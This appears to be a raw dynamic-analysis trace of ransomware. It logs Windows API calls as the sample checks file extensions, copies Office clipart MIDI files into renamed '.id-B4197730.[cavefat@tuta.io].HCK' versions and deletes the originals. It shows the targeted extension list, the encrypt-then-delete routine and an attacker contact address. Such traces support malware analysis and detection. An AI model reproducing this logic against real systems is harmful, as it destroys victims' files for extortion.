[0230.886] lstrlenW (lpString=".xlsx") returned 5 [0230.886] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.886] lstrlenW (lpString=".ppt") returned 4 [0230.886] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0230.886] lstrlenW (lpString=".zip") returned 4 [0230.886] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.886] lstrlenW (lpString=".rar") returned 4 [0230.886] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.886] lstrlenW (lpString=".bz2") returned 4 [0230.886] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.886] lstrlenW (lpString=".7z") returned 3 [0230.886] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0230.886] lstrlenW (lpString=".dbf") returned 4 [0230.886] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0230.886] lstrlenW (lpString=".1cd") returned 4 [0230.886] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0230.886] lstrlenW (lpString=".jpg") returned 4 [0230.886] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.886] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.887] lstrlenW (lpString="SPRNG_01.MID") returned 12 [0230.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0230.888] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=6700) returned 1 [0230.888] CloseHandle (hObject=0x534) returned 1 [0230.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 0x220 [0230.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0230.888] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.888] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0230.889] GetLastError () returned 0x0 [0230.889] ReadFile (in: hFile=0x534, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x1a2c, lpOverlapped=0x0) returned 1 [0230.890] WriteFile (in: hFile=0x4c0, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1a30, lpOverlapped=0x0) returned 1 [0230.891] ReadFile (in: hFile=0x534, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.891] WriteFile (in: hFile=0x4c0, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.891] SetEndOfFile (hFile=0x4c0) returned 1 [0230.891] CloseHandle (hObject=0x4c0) returned 1 [0230.891] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.891] SetEndOfFile (hFile=0x534) returned 1 [0230.893] CloseHandle (hObject=0x534) returned 1 [0230.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 1 [0230.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0230.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0230.894] lstrlenW (lpString=".doc") returned 4 [0230.894] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.894] lstrlenW (lpString=".docx") returned 5 [0230.894] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.894] lstrlenW (lpString=".pdf") returned 4 [0230.894] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.894] lstrlenW (lpString=".xls") returned 4 [0230.894] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.894] lstrlenW (lpString=".xlsx") returned 5 [0230.894] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.894] lstrlenW (lpString=".ppt") returned 4 [0230.894] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0230.894] lstrlenW (lpString=".zip") returned 4 [0230.894] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.894] lstrlenW (lpString=".rar") returned 4 [0230.894] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.894] lstrlenW (lpString=".bz2") returned 4 [0230.894] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.894] lstrlenW (lpString=".7z") returned 3 [0230.894] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0230.894] lstrlenW (lpString=".dbf") returned 4 [0230.894] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0230.895] lstrlenW (lpString=".1cd") returned 4 [0230.895] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0230.895] lstrlenW (lpString=".jpg") returned 4 [0230.895] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0230.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0230.895] lstrlenW (lpString=".doc") returned 4 [0230.895] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.895] lstrlenW (lpString=".docx") returned 5 [0230.895] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.895] lstrlenW (lpString=".pdf") returned 4 [0230.895] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.895] lstrlenW (lpString=".xls") returned 4 [0230.895] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.895] lstrlenW (lpString=".xlsx") returned 5 [0230.895] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.895] lstrlenW (lpString=".ppt") returned 4 [0230.895] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0230.895] lstrlenW (lpString=".zip") returned 4 [0230.895] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.895] lstrlenW (lpString=".rar") returned 4 [0230.895] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.895] lstrlenW (lpString=".bz2") returned 4 [0230.895] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.895] lstrlenW (lpString=".7z") returned 3 [0230.895] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0230.895] lstrlenW (lpString=".dbf") returned 4 [0230.895] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0230.895] lstrlenW (lpString=".1cd") returned 4 [0230.895] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0230.895] lstrlenW (lpString=".jpg") returned 4 [0230.895] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.896] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.896] lstrlenW (lpString="SUMER_01.MID") returned 12 [0230.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0230.897] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=14044) returned 1 [0230.897] CloseHandle (hObject=0x534) returned 1 [0230.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 0x220 [0230.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0230.897] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.897] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0230.898] GetLastError () returned 0x0 [0230.898] ReadFile (in: hFile=0x534, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x36dc, lpOverlapped=0x0) returned 1 [0230.900] WriteFile (in: hFile=0x4c0, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x36e0, lpOverlapped=0x0) returned 1 [0230.901] ReadFile (in: hFile=0x534, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.901] WriteFile (in: hFile=0x4c0, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.901] SetEndOfFile (hFile=0x4c0) returned 1 [0230.901] CloseHandle (hObject=0x4c0) returned 1 [0230.901] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.901] SetEndOfFile (hFile=0x534) returned 1 [0230.904] CloseHandle (hObject=0x534) returned 1 [0230.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 1 [0230.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0230.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0230.906] lstrlenW (lpString=".doc") returned 4 [0230.906] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.906] lstrlenW (lpString=".docx") returned 5 [0230.906] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.906] lstrlenW (lpString=".pdf") returned 4 [0230.906] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.906] lstrlenW (lpString=".xls") returned 4 [0230.906] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.906] lstrlenW (lpString=".xlsx") returned 5 [0230.906] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.906] lstrlenW (lpString=".ppt") returned 4 [0230.906] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0230.906] lstrlenW (lpString=".zip") returned 4 [0230.906] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.906] lstrlenW (lpString=".rar") returned 4 [0230.907] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.907] lstrlenW (lpString=".bz2") returned 4 [0230.907] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.907] lstrlenW (lpString=".7z") returned 3 [0230.907] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0230.907] lstrlenW (lpString=".dbf") returned 4 [0230.907] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0230.907] lstrlenW (lpString=".1cd") returned 4 [0230.907] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0230.907] lstrlenW (lpString=".jpg") returned 4 [0230.907] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0230.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0230.907] lstrlenW (lpString=".doc") returned 4 [0230.907] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.907] lstrlenW (lpString=".docx") returned 5 [0230.907] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.907] lstrlenW (lpString=".pdf") returned 4 [0230.907] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.907] lstrlenW (lpString=".xls") returned 4 [0230.907] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.907] lstrlenW (lpString=".xlsx") returned 5 [0230.907] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.907] lstrlenW (lpString=".ppt") returned 4 [0230.907] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0230.907] lstrlenW (lpString=".zip") returned 4 [0230.907] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.907] lstrlenW (lpString=".rar") returned 4 [0230.907] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.908] lstrlenW (lpString=".bz2") returned 4 [0230.908] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.908] lstrlenW (lpString=".7z") returned 3 [0230.908] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0230.908] lstrlenW (lpString=".dbf") returned 4 [0230.908] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0230.908] lstrlenW (lpString=".1cd") returned 4 [0230.908] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0230.908] lstrlenW (lpString=".jpg") returned 4 [0230.908] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.908] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.908] lstrlenW (lpString="SWEST_01.MID") returned 12 [0230.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0230.910] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=8501) returned 1 [0230.910] CloseHandle (hObject=0x534) returned 1 [0230.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 0x220 [0230.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0230.911] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.911] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0230.912] GetLastError () returned 0x0 [0230.912] ReadFile (in: hFile=0x534, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2135, lpOverlapped=0x0) returned 1 [0231.120] WriteFile (in: hFile=0x4c0, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2140, lpOverlapped=0x0) returned 1 [0231.207] ReadFile (in: hFile=0x534, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.207] WriteFile (in: hFile=0x4c0, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.207] SetEndOfFile (hFile=0x4c0) returned 1 [0231.580] CloseHandle (hObject=0x4c0) returned 1 [0231.580] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.580] SetEndOfFile (hFile=0x534) returned 1 [0231.615] CloseHandle (hObject=0x534) returned 1 [0231.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0231.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0231.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0231.616] lstrlenW (lpString=".doc") returned 4 [0231.616] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.616] lstrlenW (lpString=".docx") returned 5 [0231.616] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0231.616] lstrlenW (lpString=".pdf") returned 4 [0231.616] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.617] lstrlenW (lpString=".xls") returned 4 [0231.617] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.617] lstrlenW (lpString=".xlsx") returned 5 [0231.617] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0231.617] lstrlenW (lpString=".ppt") returned 4 [0231.617] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0231.617] lstrlenW (lpString=".zip") returned 4 [0231.617] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.617] lstrlenW (lpString=".rar") returned 4 [0231.617] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.617] lstrlenW (lpString=".bz2") returned 4 [0231.617] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.617] lstrlenW (lpString=".7z") returned 3 [0231.617] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0231.617] lstrlenW (lpString=".dbf") returned 4 [0231.617] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0231.617] lstrlenW (lpString=".1cd") returned 4 [0231.617] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0231.617] lstrlenW (lpString=".jpg") returned 4 [0231.617] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0231.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0231.617] lstrlenW (lpString=".doc") returned 4 [0231.617] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.617] lstrlenW (lpString=".docx") returned 5 [0231.617] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0231.617] lstrlenW (lpString=".pdf") returned 4 [0231.617] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.617] lstrlenW (lpString=".xls") returned 4 [0231.617] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.617] lstrlenW (lpString=".xlsx") returned 5 [0231.617] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0231.617] lstrlenW (lpString=".ppt") returned 4 [0231.617] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0231.617] lstrlenW (lpString=".zip") returned 4 [0231.617] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.617] lstrlenW 